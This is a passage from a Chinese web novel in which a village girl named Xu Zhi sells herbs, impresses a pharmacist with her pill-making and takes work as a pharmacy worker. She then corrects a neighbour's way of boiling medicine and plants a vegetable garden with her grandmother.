可能本身草药不错,可他们拔的时候不仔细,或者洗的时候不会处理,反而把草药破坏了,弄得没什么药效。 只是当他看到许芷处理的草药,忍不住赞了句。 “倒是个懂的。” 就是许芷带来的只是最便宜的草药,金簪草和车前草。 一般价格是十五文左右,现在又是盛产的季节价格就更低了。 不过好在许芷会处理,药性没破坏,质量也不错。 所以小厮给了个十二文一两的价格。 三袋子看着不少,但是晾晒之后脱了水,实际上没那么重。 小厮很快的就称完了。 金簪草一共是三斤四两,车前草一斤六两,一共六百文。 许芷看算的差不多,又问小厮:“蛇你收吗?” 小厮听到蛇,有些不可思议的望一眼许芷。 接着点点头,说道:“收是收的,只是...只收活的。” 许芷听到直接转身出去,躲到角落里从乾坤屋把装蛇的麻袋拿出来。 进屋,看到小厮脸色古怪的看着自己。 许芷碰碰鼻子,多嘴解释道:“我怕直接拿进来有人害怕,就放在了外面。” 小厮小心地从许芷手里接过麻袋,打开了个口子快速看一眼,确定是活的。 接着说道:“这蛇品相一般,不过好在是活的,一百五十文。” 许芷点点头,她心理预期差不多也是这样。 算清楚价格后,小厮就去后面支钱,让她在这等着。 突然一声训斥从后院过来,许芷没事听了一耳朵。 “你这力道都不对,怎么能成丸?” “不对不对!” “你学了这么久,这点都弄不成?” “错了!错了!” 这声音一道比一道火气大,她被吸引了过去。 掀开帘子,她看到了一个跟她年岁相仿的男子,手里拿着药匾,沮丧着脸听训斥。 身旁一个仙风道骨的老者满脸怒气。 许芷一看就知道这是在制水泛丸,是制药丸的一种方法。 将药粉洒在药匾上,喷水,用适当的力气晃动药匾。 接着洒水和撒药粉换着来,慢慢就能晃出圆润小巧的药丸。 而这男子拿的药匾里药粉成块成块的凝结在一起,不可能成丸。 这要么是每次喷洒的水和药丸的比例不对,要么是晃动的力气不当,总之是失败了。 看着那男子被训斥的头也抬不起来,许芷突然开口:“可以让我试试吗?” 第13章 制水泛丸 话音落下,两道探究的目光瞬间落在她身上。 “从哪来的狂丫头,这不是你胡闹的地方,赶紧走。” 三七极其不耐烦,自己被师父训的跟个孙子一样,正愁没地方出气。 而仙风道骨这位根本不理会许芷,目光重新回到了徒弟三七身上,怒气又显。 “这好好的药粉都被你浪费了,明日若还是这样,趁早滚回家去。” 三七沮丧的拿着药匾要走,手刚伸出要拿练习的药粉。 被师父瞪了一眼,手又缩了回去。 许芷对这种不信任的态度早就预料,她并未退缩,而是更进一步,走上前对师父说: “让我试一次,若是我不行,给你二百文做赔偿,若是我可以,你白得成丸,怎么说都不亏。” 黄药师听闻这话,心里震惊,面上不显。 刚刚匆匆一眼,他便从这丫头的穿着看出,定是穷苦出身。 为了试一次,拿出二百文,这种大手笔,若是没有十成的把握,只怕不敢这样讲。 看着许芷坚定的模样,黄药师一时动容。 只是嘴上依旧放冷箭:“三七,你可看好了,若是这丫头都能成,你给人家腾位吧。” 三七听闻师父的话,胆怯称是。 只是抬起头看向许芷的眼神,不屑、愤怒和嘲讽交织。 他根本不相信,一个乡野脏丫头,能做成这种事。 许芷听到对方松了口,也不多说,直接走上前拿起干净的药匾。 用竹刷给药匾手持这边刷上水,再在刷了水的部分撒上少量药粉,用手拍打底部,让药粉均匀散开。 光是这一步,黄药师就看出许芷是有些功底的。 当药粉散开后,用另外的干净刷子,用力将药粉刷向另外干燥的一边,再次刷水,撒药粉,同时晃动药匾。 多次重复之后,药匾里的药粉已经渐渐成颗粒状。 本身不看好许芷的三七目瞪口呆的看着,他实在想不到,一个毛丫头竟然会这个。 而现在成了颗粒,许芷不再将药粉洒在刷水的位置,而是少量洒在颗粒上,再滚落在刷水的位置。 越摇越费力气,而她似乎并不觉得累,沉浸在其中。 两刻钟之后,许芷将制好的药丸给黄药师看。 黄药师看着药匾中大小均匀圆润的药丸,仿佛挖到宝。 要知道制成丸不是难事,难的是药丸大小均匀。 这要是没有个几年功夫下劲儿练习,极其难达到。 身旁的三七看着药匾中与师父示范的无甚差别的药丸,彻底心服口服。 看着两人都不说话,许芷疑惑开口问:“可是不行?” 这才把两人拉回来。 三七懊恼道:“竟小看了你。” 黄药师捻着胡须,凌厉的眼神直直的看向许芷,又问了几个制药和药草相关的问题。 许芷几乎不加思考都能回答上,都比得上他这里年限最高的徒弟。 可她的年纪又实在小,他琢磨,这丫头应当是他某个师兄弟收的好苗子,特意来显摆。 故而问道:“你师承哪位杏林圣手啊?” 许芷镇定道:“不曾有恩师。” “不曾!” 此话一出,三七彻底稳不住了。 他指着药匾里的药丸,不可置信道:“你这么厉害,却未曾学过?难不成是哪一支没落的医药世家?” 许芷想了想,云淡风轻道:“我幼时,母亲身体不好。” 听了这话,三七更是震惊到无与伦比。 “就、就这。” 许芷看着对方的反应,心想这人真不稳重,怪不得制不好药丸。 怕王家姑嫂早就逛完等着自己,她有些急切的对黄药师说:“若是您老觉得我制药丸还可以,我想在您这讨个差事。” 黄药师心里的震惊不比三七少,没开口则是看出许芷刚刚是特意过来露这一手。 既是特意,定有所求。 故而不张口,等着许芷说。 只是他听得许芷只是想讨个差事有些站不住了,这么好的苗子,不赶紧拜师,找什么差事啊? 而许芷这边是真等不及了,丢下句“不行就算了”,转身就要走。 黄药师赶紧将人拦住,“你这丫头怎的性子这么急?” 一听这话许芷又转头回来。 看到人回来,黄药师问:“说吧,讨什么差事?” 许芷也不废话直接讲。 “药工。” 药工是一些药铺特意招的制药工种,制药也是门学问,还费心力,好的药工不好找。 所以药铺会找一些愿意学的童子,从小培养,例如三七这种。 一听只是药工,黄药师直接拍了板,应下:“明日卯时三刻来铺子即可,你是个熟手,月钱一两银,后面还会再涨。” “不行。” 许芷却摇摇头,“我家在下坪村,进城的牛车只在五日一集进城,我若是要走过来,只怕要夜夜不能寐。” 黄药师一听,觉得不是难事:“铺子里有药工住的地方,拨给你张床。” “可我家中还有位年事已高的祖母。” 听到许芷这么说,三七忍不住开口:“你也忒不识好歹,这也不行那也不行,还出来做什么工啊。” 黄药师抬手拦住三七,继续好言问道:“那你想怎么办?” 既然问了,许芷也照实说:“我带回家做,五日一送,工钱也不必给那么多。” “就照你说的办,工钱照旧。” 黄药师说完,又吩咐三七,带着许芷去管事那登记。 三七应下,先一步走在前面,许芷快步跟上。 掀开帘子走进前厅,刚刚给许芷拿钱的小厮,惊讶出声:“姑娘怎的去了后院?” 三七不明所以的将眼光放在小厮杜仲和许芷身上。 杜仲走上前,将手里的钱给到许芷。 “姑娘,七百五十文,你点点。” 许芷接住直接放进了袖袋。 杜仲见自己被信任,心里自然高兴,忍不住多说了两句。 “姑娘,你带来的草药处理的好,若是日后还有尽管来送,找我即可,我叫杜仲。” 许芷微微颔首,回道:“我叫许芷。” “记下了,姑娘。” 说完,杜仲便去忙自己的。 三七带着人去了刘管事面前。 刘管事是个小个子老头,整个人往案前一坐,若不是那银丝,怕是错认成小儿。 刘管事听了三七交代,问了许芷的底细,仔细的写下入册,便可以了。 见登记好,三七带着许芷去药房拿药粉和工具。 第14章 添置家用 一进屋,大家各忙各的,井井有条。 只是许芷能察觉,那一道道好奇的眼神落在身上。 她镇定自若的跟着三七,并不乱看。 黄药师早就吩咐好药房的药工准备好药粉和工具,过去直接拿了就能走。 许芷刚离开,其他的药工一哄而上,问三七许芷的来历。 而三七将刚刚听来的知无不言。 听到许芷真只是个农户孤女,众人纷纷没了兴趣。 因着挣了些钱,她那乾坤屋里的东西就有借口往外拿。 她拿出了竹筐和扁担,在筐里放了新的碗筷、蒸屉和其他缺少的厨房用具。 另外将领到的药粉和工具放进了房里。 这可不能让祖母知道。 出了药铺,许芷转身去了粮铺,买了三斤细面,十斤粗面,五斤精米。 细面三十五文一斤,粗面八文一斤,精米三十文一斤,一共花去了三百三十五文。 还花了五十文补了些调料。 因为山上野菜多的是,还有菜种,就不买菜了。 但许芷买了两斤猪后臀肉,三十五文一斤,花了七十文。 这些吃的她都放进了乾坤屋里,不想让别人看到。 自己这两个竹筐和扁担已经很扎眼了。 因为这两天王茹娇一直帮助她们,许芷买了四个三文钱一个的大肉包,想着请她们吃。 一共花去了四百六十七文,余二百八十三文。 许芷还去铁匠铺问了问,锄头和耙子这些地里的家伙事儿多少钱。 虽然现在买不起,但是心中有个底,攒钱就有想法了。 问完她才挑着所有的东西往城门口去。 到城门口的时候,她看了一圈,没看到王家姑嫂。 松了一口气,没让人家等着就行。 许芷在城门外找了块草地将东西都放下,自己坐在草地上等。 半个时辰后,许芷见到王茹娇一手挽着嫂子,一手拿着冰糖葫芦,从城门出来。 她站起身挑着东西走过来,跟她们汇合。 王茹娇看到许芷买的竹筐和扁担,兴奋地跑过来。 “呀,小芷,你还真卖到钱了,那草那么值钱呢?” 许芷纠正道:“那是草药。” “好好好,是草药,下次带上我,我也赚点钱,能扯布做新衣服。” 王茹娇说着,将手里的冰糖葫芦递给她。 许芷下意识的拒绝,“不用。” 王茹娇好似没听到,直接把冰糖葫芦塞到了她手里。 “吃吧,我用压岁钱买的。” 许芷推脱不过,咬了一颗,剩下的都放进了竹筐里。 她不爱吃酸的,就算是有外面那层糖衣壳,许芷也觉得里面的山楂酸。 见许芷收了起来,王茹娇不解:“小芷,这不是你的最爱,怎么收起来不吃了?” 许芷微滞,开口道:“想带回去给祖母尝尝。” 王茹娇一寻思,往常她给许芷带,许芷哪敢把糖葫芦往邓家拿。 现在不一样,带回去不怕被看见。 只是有些可惜,早知道自己买两串,这样许芷也不会舍不得吃。 许芷也趁机会拿出了她买的肉包。 “谢谢你帮我跟祖母。” 许芷拿出还有些余温的肉包,塞给了王茹娇和徐青云一人一个。 又怕两人不吃特意说:“我可是收了你的糖葫芦,你要是不收我的肉包,就是看不起我。” 都这样说了,姑嫂俩只得收下。 王茹娇本想掰开跟许芷一人一半,看到许芷又拿出来一个肉包,便作罢了。 三个人一边吃着肉包,一边等牛车。 这次等得久,约莫快一个时辰,才看到牛车晃着往城里去。 不过回去的暂时就她们三个,找了个能靠着的好位置。 竹筐这回是真占位置,许芷想着赶车的如果让多给一个铜板,她真给。 可这次跟上午的不是一个人,只每人收了个铜板,其他的没多说。 看着她们上了车,赶车的又在城门口等了两刻钟,又等来了两个人,就出发回去了。 到了村口,王茹娇眼睛亮晶晶的跟许芷说:“你再上山要叫着我哦。” 许芷“嗯”了声,就此分开回了家。 还没到山坳,许芷就看到了祖母的身影往外望。 看到她回来,眼神一下亮起来,抬起手招呼她。 “小指儿。” 祖母的声音回荡在山谷里。 许芷不自觉加快了脚步,想快点到祖母身边。 “别跑别跑,拿着那么多东西,小心点。” 等到了祖母跟前,邓老太一只手紧紧拉着许芷,祖孙俩晃悠悠回家。 到了家,许芷向祖母展示自己都买了什么。 早在跟王茹娇她们分开的时候,许芷就把买的东西都拿进竹筐里。 邓老太看着许芷不停地往外拿,刚开始是高兴,后来开始逐渐变得怀疑了。 许芷将东西都拿完,看着祖母认真道:“还有好多想买的,可惜钱不够,下次再卖了钱好采买。” “先不说这个。”邓老太担忧的抓住许芷的手:“你就倒腾那点黄花苗能买这么多东西?” 许芷被祖母这个样子逗笑了。 “不止黄花苗,还是祖母你说的那个喂猪的草。” 祖母看着许芷还笑,她板着脸教训:“咱可不能胡来,为了钱被人蒙骗,祖母能养着你。” 看着祖母真的担心,许芷认真解释说:“祖母,那不起眼的草都是草药,我可是卖到城里最大的药铺怀清堂,不用担心。” “真的?” 邓老太她是真不认识什么草药。 许芷知道祖母是怕自己误入歧途,无奈道:“下次再去怀清堂,你跟我一起,一看便知。” 这样说了,邓老太才放心些。 许芷将怀里的肉包拿了出来,“祖母,吃包子。” “我不吃,你吃。” 邓老太推着许芷的手,往她嘴边送。 “我吃过了,你要是不吃我就丢了。” 说着,许芷作势就要往沟里扔。 邓老太赶紧抓住肉包往回拿。 “你个丫头从哪学的这幅样子,我没说不吃。” 话落将包子塞进了嘴里,没几口吃完了,还有些意犹未尽的舔着唇。 许芷看出来了,笑着说道:“下次祖母跟孙女一起去,我们买了吃热乎的。” 邓老太闷闷的应了声。 许芷又把剩下的糖葫芦拿了出来,邓老太摇摇头说自己的咬不动。 两个人都不吃,许芷就烧了水泡成山楂茶喝。 泡出来的水没有山楂那么酸,又有外面的糖衣融化进去,酸甜可口。 第15章 开块菜地 离太阳下山还有会儿,邓老太打算在房前开一小块地,祖孙俩种菜吃。 让许芷去村里借耧耙。 许芷得了令,就往村里去,只是还没走出山坳又回头问祖母。 “借谁家的好?” “张家的。” 末了,又补充一句:“就是来帮着砌灶的铁牛家。” 许芷很快就进了村,因为不知道张铁牛家是哪一户,还问了个大娘。 问的时候那大娘还奇怪的瞅了许芷一眼,许芷镇定自若装作没发觉。 很快她就找到了张铁牛家,还见到了里正。 许芷礼貌颔首,跟里正打招呼。 原来里正家就在张铁牛家隔壁。 许芷在大门外叫了声,很快上次那个帮她们出柿子树的男人,张立柱出来了。 “小芷,你舅让你来找我?” 许芷摇摇头,道:“祖母让我来借借你家的耧耙。” 张立柱一听二话没说,就进屋去拿。 许芷在外面等着,没多久张立柱就拿着耧耙出来了。 “放心用,我们家这两天用不到。” 张立柱还贴心的嘱咐。 许芷拿住道了谢就要走。 突然,张家院内厉声响起。 “这药肯定有问题,要不娘吃了这么久,怎得一点不见效!” 许芷听到这话停下了脚步,走到张家门前。 看到张立柱拦着个妇人,着急的说:“嫂子,那可是在城里怀清堂拿的药,怎么会有错。” “那为何娘还是这般,这药根本无用啊。” 李春草义愤填膺的说道。 恰在此时,屋内传出一阵连绵黏稠的咳嗽声,咳得好像要断了气。 李春草听到赶紧去厨房倒了温水,出来的时候不忘生气的交代张立柱。 “你快去城里找他们算账,拿着地上的药渣,不怕他们赖账。” 看着小叔子不相信的样子,她愤愤道:“那是个顶阔气顶有名声的铺子又怎样,娘的病没一点起色是真的,万一真是他们弄错了药呢?” 张立柱一听是这么个理,不敢耽误,拿起药渣就要出去。 走到门口却看见许芷没走,他也没心思问许芷缘由,丢下句有事就要走。 许芷拦住了他,温声道:“可否给我看看药渣?” 张立柱听到这话,愣怔一瞬,不明白许芷为何看这个。 “我略懂这些,给我看过若不是药铺的错,也省的你跑一趟。” 许芷补充说道。 不知为何,看到许芷这笃定的样子,张立柱信了她。 明明他是看着许芷从小长到大,很是清楚,她并未学过。 可他还是将手中的药渣递了过去,还顺手帮许芷拿住耧耙。 “大夫怎么说的?” 许芷头也不抬的扒拉着药渣问。 张立柱思考一番,才开口道:“好似是说风寒什么的。” “风寒咳嗽吧。” 许芷肯定的说。 而张立柱一听连连点头,“没错没错,你怎么知道?” 许芷将手里的药渣还给他,没有回答对方的话,而是说:“不用去怀清堂了,药没问题。” 听到这话,张立柱忍不住问:“若是药没问题,怎得我母亲喝了六副药都不见好?” 许芷从药渣里拿出一细条状物,给张立柱看,说道:“此物为麻黄,用于发散风寒,煎药时需先煎去沫,这明显没有。” 许芷又扒拉着剩下的药渣说:“另外,这药渣一看就煎过了,药效都煮没了,怎么会好?” 张立柱恍然大悟的点点头,没想到许芷竟是真的懂。 两人正说着,给婆婆喂过水的李春草出来了,看到张立柱还在这。 生气的上前问责:“柱子,你怎么还在这?赶紧去城里问问啊,再晚牛车就不去城里了。” 出来却看到许芷也在,立马跳脚回了大门内。 “你这晦气妮子来我家干啥?” 不光自己躲,还拽着张立柱让他回家。 “这妮子跟王家那死人配了婚,晦气得很,别沾身。” 张立柱回头甩开嫂子的手,不悦道:“那婚事没成,嫂子你别乱说。” 跟着转头冲许芷抱歉一笑。 许芷并不在意,别人怎么想是别人的事,她只是问对方:“药都是你煎的?” 李春草不善的眼神上下扫视许芷,不客气的问她到底要干什么。 “你煎药时间太久,药效都没了。”许芷把麻黄拿出来,给李春草看。 “这是麻黄,煎药前需要先煎去沫的。” 李春草一把拍掉了许芷手里的麻黄,将张立柱拽回了院子,“吱吖”的一声关上了大门。 许芷无奈叹口气,拿上借的耧耙往家回。 反正话她已经说到,信与不信是他们的事。 若他们执意要去找怀清堂的事,拿着药渣过去,懂行的人一看便知是如何。 不过这也不是许芷操心的事情,她快步赶回家。 而关上门的张家,张立柱不解道:“嫂子,我觉得小芷说的不错,我见你熬药总是一熬半天都过去了,下一副药咱们少熬会儿试试。” 而李春草则是用一种奇怪的眼神看着他问:“那丫头是看了药渣看出来的?” 张立柱称是,还想开口劝劝嫂子,却听到对方换了说辞。 “柱子你说得对,我照着那丫头说的,把药都喝完了,看看效果,不行再去城里。” 听到嫂子这样说,张立柱寻思没啥事,就去地里薅草去了。 许芷进了山坳,看到祖母已经画好了菜地。 看到许芷回来,邓老太隐约透着担心问:“怎么去了这么久?” “没事。” 许芷指着画好的地问:“这就是菜地了吗?” 邓老太笑着称是,走过来要去拿许芷手里的耙子。 “我来吧。”许芷躲了一下,道:“祖母耧地。” 开一块菜地,说简单也简单,说难也难。 主要是费力气。 先定好菜地的范围,然后用耙子把选中的土地翻一遍,再用耧子将地耧平整,耧出地埂将这块地方圈起来,就可以种菜了。 不过一上手,许芷觉得自己想简单了。 虽然有要使劲儿的预期,但是没想到地如此之硬。 而且这地靠着山,里面好多石头,一耙子下去,磕在石头上,震得许芷胳膊疼。 但是自己咬着牙也得坚持,总不能让上了年纪的祖母来。 就这么硬耙了三分之一,许芷实在是坚持不住,靠着耙子的木柄休息。 邓老太笑道:“不好弄吧?咱们祖孙俩换着来。” “不用,祖母,我歇一歇就行。”许芷硬撑道。 看祖母不信的样子,许芷只好让祖母帮自己弄碗水喝。 等到祖母离开,她一屁股坐到刚耙出来的石头上,喘着粗气休息。 第16章 开始种菜 太阳西沉,许芷也才耙了一半。 趁还有些光亮,她一鼓作气,把耙子翻过来,将耙松的泥块敲松散。 而祖母早在看着要黑天时,就去做饭了。 许芷早就闻到了肉香,饥肠辘辘的期待着今晚的晚饭。 她去河边清理完耙子,来灶台边看着油亮的红烧肉,语气轻快道:“祖母,今晚吃米吧,不喝汤了。” 邓老太闻言放下了舀面的勺,改去舀米,舀了三个人的量递给许芷,让她去淘米。 许芷走到河边,一边淘米一边想。 虽然她们离河边近,可是做饭洗菜一趟趟的跑也不是事儿,有个水缸就省事多了。 她那乾坤屋里倒是有个大水缸,等什么时候合适,就拿出来。 还有她们现在吃饭的桌椅也得换,总不能一直坐石头上吃饭。 以及灶台是露天的,没下雨就算了,下了雨也不成,起码得有个顶。 她们也没洗澡的地方,只能在白天气温高的时候,打水回屋里擦。 许芷越想越觉得,要快快的赚钱,起码基本的生活条件要改变。 闲着没事的时候,她一定去了解一下,盖个一进的大院子,还有这些个家具零碎配全了要多少银子。 这样,有了目标,奋斗起来就更有劲儿。 想好了许芷拿着淘好的米回去,没一会儿,米香味混着肉香味飘荡在整个山坳里。 “娘看我带了啥回来?” 邓耧子人还没进山坳,声音先传了进来。 邓老太听到儿子的声音,赶紧去山坳口接。 看到儿子献宝一样的拿出麻绳捆的一根猪大肠,道:“娘,你看。” 只是话音刚落下,邓耧子就闻到了肉香味。 还没等他问出口,邓老太先开口解惑:“是小指儿,今天去城里卖了草药买的肉。” 邓耧子惊讶不已,“还以为这丫头是上山玩呢,不曾想是真认识草药啊。” 邓老太得意点头,认同道:“可不是,咱们家小指儿可厉害了。” 两个人说话间,走到了窑前。 红烧肉已经炖好盛了出来。 许芷正在切野菜,看到舅舅回来抬起头打招呼。 打完招呼跟祖母说:“祖母,我弄了点野菜,您清炒一下,这样一荤一素,配着吃好。” 邓耧子听到这话,跟着就笑出来,开玩笑着说: “你这孩子,从前也没少做饭,炒个野菜还要你祖母来啊?” 只是许芷听到这话愣住了,看着舅舅表情疑惑道:“原来我总做饭?” 邓耧子没察觉许芷话里的不对,只是笑着点头。 不过说完,才发觉许芷的神色有点怪,还没细究,母亲就跳出来打圆场。 “小指儿今儿去城里买回来那么多东西,下午还帮我开菜地,好一阵忙活,累着了。” 邓耧子一听赶紧道:“开菜地让我来,你们俩一个年事已高,一个瘦杆子一般,这种力气活怎么不交给我?” “还说呢,你天天上工,哪有空啊。” 邓老太佯装怒样训斥儿子,推着儿子催着赶紧吃饭。 她走到灶台边,迅速地将许芷准备好的野菜炒过,就开饭了。 吃饭途中,许芷一直在思考该找谁打听房子的事。 还有赚钱,她寻思不能一直在山上采草药卖,就是有再多的草药,也经不住这样采。 坐吃山空的道理,她很清楚。 而且山上野生的草药是不确定的,跟药铺缺少的药材并不一定相匹配。 最好的方式还是开辟药田,自己大量的种,跟药铺协商,专供一些他们需要的药材。 这样赚钱的门路是清楚的,而不是看运气。 一旦跟药铺敲定了合作,那就是长期的,至少说是不必太担忧未来。 这些都是需要钱财的累积,才可以做成的。 前期肯定投入大,好在自己现在在药铺当了药工,算是每个月都有固定的银钱进账。 一点点攒着,总能攒到合适的时候。 同时,她还能打探一下进药渠道什么的,对药品的情况也能更熟悉些。 总之,慢慢来,赚钱不是急的事儿。 许芷这样想着,只觉得肩上的担子还重,吃饭都多吃了半碗。 吃过饭,许芷去刷碗,邓耧子则是在菜地旁点了火照亮,开始耙地。 这点让他来很快就弄完了,不仅把剩下的地都耙过,还用耧子将地里的杂碎和石头都清理了。 做完这些,他去担了水,给菜地浇水,充分洇地,有利于后续种菜种子的发芽。 就此,一块平整松软的菜地就成了。 弄完他跟祖孙俩说:“以后这点活就等着我回来干就行。” 许芷看着干完活面不红口不喘的舅舅,又想想自己下午那样子,这就是人跟人的差距。 邓耧子走的时候,还顺道将耧耙都带走,去还给张家。 许芷和祖母收拾的差不多,就也躺下了。 躺下后,许芷躲进了乾坤屋里,开始制药丸。 她特意闭上了眼睛,好似睡着一般。 反正她白天做了那么多事,累了早睡着也没什么。 许芷在屋里抡圆了膀子就是干,直到眼睛真的睁不开了,才出去睡觉。 而这次拿回来的东西,基本上已经做了三分之一了。 许芷心想下一次一定要多拿回来一点,这根本不够五天的量。 想着想着,就进入了梦乡。 第二天早上,刚起来吃过早饭,王茹娇就过来了。 “婶子,小芷,刚吃完早饭啊。” 邓老太看到娇娇就高兴,笑着招呼她要不要吃点。 王茹娇摆摆手,连忙说自己吃过了。 她走到许芷身侧,坐下问:“你今天上山不?” 许芷收拾着碗筷,漫不经心道:“我上午要帮祖母种菜呢。” “啊?”一听这话,王茹娇立刻有些气馁。 不过她倒是很快就想开了,“那我帮你们种菜,种的快就能去了呗。” 许芷顺着她说了个“行”字,拿着碗筷去河边洗。 洗完,看到祖母已经把要种的菜种准备好了。 邓耧子一共买了六种菜种,分别是豆角、葱、韭菜、蒜种、瓠瓜和茄子。 这里面邓老太最喜欢的就是蒜种。 蒜种能长成蒜苗、蒜薹,吃两种菜。 又是辛辣刺激味的菜,炒菜做饭有滋味。 就算是吃完了苗和薹,还能留下蒜种,一种四用,划算得很。 其次就是韭菜,韭菜能一茬一茬的长,现在种下,吃到冬天都能成。 第17章 两人上山 豆角和蒜种都是大颗粒的种子,需要小锄刨坑定量种植。 剩下的菜都是芝麻粒大小的种子,确定种哪一片直接均匀撒上去,浇水就行。 所以她们需要去借个小锄,王茹娇一听立刻自告奋勇去家里拿。 许芷和祖母就先种着其他的菜。 她们将这块菜地平均分成了六份,邓老太撒种,许芷挑水来浇。 这倒是好干的多,王茹娇再回来的时候,邓老太已经撒完了,就剩下浇水。 许芷浇了两块地,还有两块。 因为这种子小,浇水不能一桶水就这么往里倒,那样种子都在水里闷死了。 需要拿个瓢洒水一样的将土地浸湿,所以许芷干的慢些。 王茹娇上前去帮忙洒水,很快一个桶空了,许芷提着桶去提水。 等提过来另一桶水就洒完了,这样交替进行,很快就弄完了。 许芷她们弄完的时候,邓老太已经在要种蒜的那块地上开沟了。 王茹娇拿着蒜种走过去,往沟里稀稀拉拉的撒一层。 撒完之后,开始蹲下拿起撒进去的蒜种,尖头朝上屁股朝下猛地按进土里。 两个蒜种之间的距离不过两三指,很快半条沟就种完了。 许芷没有着急上前去,而是观察了一下王茹娇的动作,才上前去从另外那头开始种蒜。 看着这条沟种的差不多了,邓老太沿着这条沟在旁边又起一行,这行沟挖出去的土正好填上了上一条沟。 很快这块地就种完了,只是蒜种还剩下些。 种豆角跟种蒜还不一样,种豆角是刨坑,一窝一窝的种。 豆角的种子提前一晚泡了水,这样发芽会快一点。 一窝里面二到三个种子粒,种完之后也是后一个坑刨出来的土,填上一个坑。 这次就不让王茹娇沾手,许芷让她去坐着休息。 她跟祖母很快就种完了,同样这次的种子也没种完。 “祖母,要不再开一块菜地呢?” 许芷看着剩下的蒜种和豆角种,也不少。 邓老太看着种好的地,思考着说:“是得再弄一块。” 其他的菜种虽然是撒完了,但是等到长苗的时候,还得剔苗。 将扎了堆长出来的菜苗剔的稀一点均匀一点,这样不抢地里的肥,菜能长起来。 否则,菜都长不大,长不旺。 而且剔下来的菜苗也不是没用了,移栽一下也是能活的。 所以,再弄一块也行。 许芷寻思等晚上舅舅回来了跟他说。 种完了菜,三人坐在柿子树下,喝水聊天。 许芷特意在柿子树下放了几块石头坐。 邓老太闲聊问道:“娇娇啊,你怎么也要跟着小指儿上山呀?” 听到婶子问自己,王茹娇也不藏着掖着,直接道:“我想扯块布,做身新衣服。” “你的衣服可不少吧?” 邓老太这话可没说错。 王茹娇家里条件不错,哥哥是衙门的人,算是村里的富户。 要不是王家老太太不愿意去城里住,他们一家早就搬出这个村子。 而王桥是个有孝心的,母亲不去,他们也在这陪着母亲。 别的不说,王茹娇一年起码两套新衣服,冬天一套,春天一套。 村里的其他姑娘,别说一年两套,就是两年一套的都少之又少。 一套衣服穿个四五年都不算啥,从长袖飘飘,穿成半袖。 实在是长个子套不上了,做新衣服的都少,多的是穿哥哥姐姐们的。 王茹娇娇憨一笑,“谁会嫌衣服多嘛。” 邓老太一听,会心一笑,觉得娇娇这话也有理。 那要是家里条件好的,谁不想多穿几件,多吃好的。 想到这,她转头看自己的外孙女许芷,就那么两套衣服,穿了这么多年。 其中一套这次出来还成了抹布。 身上这套,不说掉色,衣领袖头都绷着线,还小了许多,一抬手半截胳膊都在外露着。 她心疼的跟许芷说:“祖母手里还有些银钱,给你也扯块布做衣服吧。” 许芷本在假寐,趁机去乾坤屋里做药丸。 听到了祖母的话,赶紧回神,睁开眼拒绝说:“这衣服还好好的。” 许芷可不会做衣服,她想的是等到赚的钱差不多,直接去买成衣。 省事又高效,就是花钱。 听到孙女这么说,邓老太很是不满意。 “下次再去城里,咱们一起去,我去扯块布,高低给你做一身新衣裳。” 许芷没把这话放在心上,敷衍的说了句:“都听您的。” 就又着急的去乾坤屋里,做自己的药丸去了。 休息了两刻,邓老太去寻思俩姑娘忙了一上午,得给做点啥吃的垫垫。 要不然这俩人还得上山,没劲儿可不行。 这么想着,她就去做面了。 王茹娇从自己的袖袋里掏出了瓜子,一边磕一边跟许芷聊天。 而许芷因为累了,也要时不时回应王茹娇,就索性不做药丸了,两个人胡乱聊着天。 主要是王茹娇说的多,许芷偶尔附和。 没多久,邓老太就做好了面。 面条是她手擀的,劲道好吃。 简单在碗底放了点调料,面汤浇上,煮面的时候顺道煮点野菜进去。 一碗汤面就这么做好了。 “小指儿,娇娇,来吃碗面。” 王茹娇听到最开心,跟个小孩子一样就跑过去端面吃。 许芷跟在身后,她确实想着要不要上山前吃点什么垫垫,上一趟也是累的。 没想到祖母就做好了面。 祖母只做了两碗,她自己就不吃了。 吃过面,许芷把碗刷了,两个人才上山去。 因为有了王茹娇,许芷的步伐慢了很多。 王茹娇小孩子一般天真烂漫,看到什么都要跟许芷说,小嘴巴喋喋不休的,好似不会渴。 许芷也不觉得烦躁,反而觉得这上山路有趣许多。 她一个人的时候,多是沉默寡言的听着山里的鸟叫虫鸣。 有了王茹娇,她会见到什么认识的药材,就跟对方介绍。 听着对方惊讶夸赞的声音,也不骄傲,只是平淡的接受。 王茹娇也见到了许芷从未有过的一面,这一路给她讲解草药说的话,是这些天的数倍。 她不禁感慨:“小芷,你也太厉害了,我跟你认识这么多年,都不知道你识得这些。” 许芷听到这话有一瞬间的迟滞,随即脸上浮起淡淡的笑,没再多说。 第18章 收获满满 这一次,许芷主要是去看看上次发现的金银花开花没。 她带着王茹娇直奔金银花所在的地方,远远地许芷就瞧见了青色的花苞。 许芷走近发现这花苞已经有绽放之意,差不多下次来就能采摘。 王茹娇看到金银花,还没等许芷介绍,就“呀”的一声。 “小芷你看,这是鸳鸯藤,是成双成对绽放的花。” 许芷正捏着金银花的花苞查看,听到王茹娇的话随口问道:“你怎么认识这个?” 问完半天等不到回答,她意识到不对劲,山上毒物、凶猛之物多的是。 别是王茹娇看到什么,吓得说不出话来。 可许芷转头却看到王茹娇做足了小女儿家姿态,红着脸傻笑。 俨然一副思春少女模样。 许芷摇了摇头,继续看金银花,对于感情之事,她向来不感兴趣。 看过之后,许芷打算两天后的上午来采摘,避开早晨有露水的时候。 而金银花药效最好的时候,是花苞未完全开放之时。 现在有待开之意,两天内采摘最好。 确定之后,许芷打算去找找别的草药。 “走吧。” 许芷的声音将王茹娇拉回神,她不解的问:“咱们跑这么远就为看看这花?” 已经走在了前面的许芷嗯一声,继续往前搜罗着。 说实在的金簪草太好找了,到处都是,不费吹灰之力。 所以许芷想往深处探寻一下。 王茹娇听话的跟在许芷后面,刚开始她还话多些。 直到越往里走,她看到了手掌大的蜘蛛和各式各样的虫子,慢慢话就少了。 终于,许芷找到了一大片茵陈。 她早就在下面发现了茵陈的踪迹,只是太少了。 她想着碰碰运气,看看能不能遇上成片的,还好找到了。 “就在这采摘。” 许芷转身跟王茹娇说话,却发现对方白了脸色。 她有些紧张的问:“娇娇,你头晕吗?” “啊?” 王茹娇害怕着,听到许芷的问话,反应慢半拍。 “没有,不晕。” 许芷听到还是不放心,直接上前抓住对方的手腕把脉。 半天,才确定她没事。 王茹娇讷讷然:“我没事,就是怕虫子。” 话落,尴尬一笑,抽回了手。 许芷听罢微微点头,交代她该如何采摘茵陈。 教完之后,两个人只忙活着采摘无心说话。 看这一片摘得差不多了,许芷站起身道:“走吧,下山。” “就摘这些?” 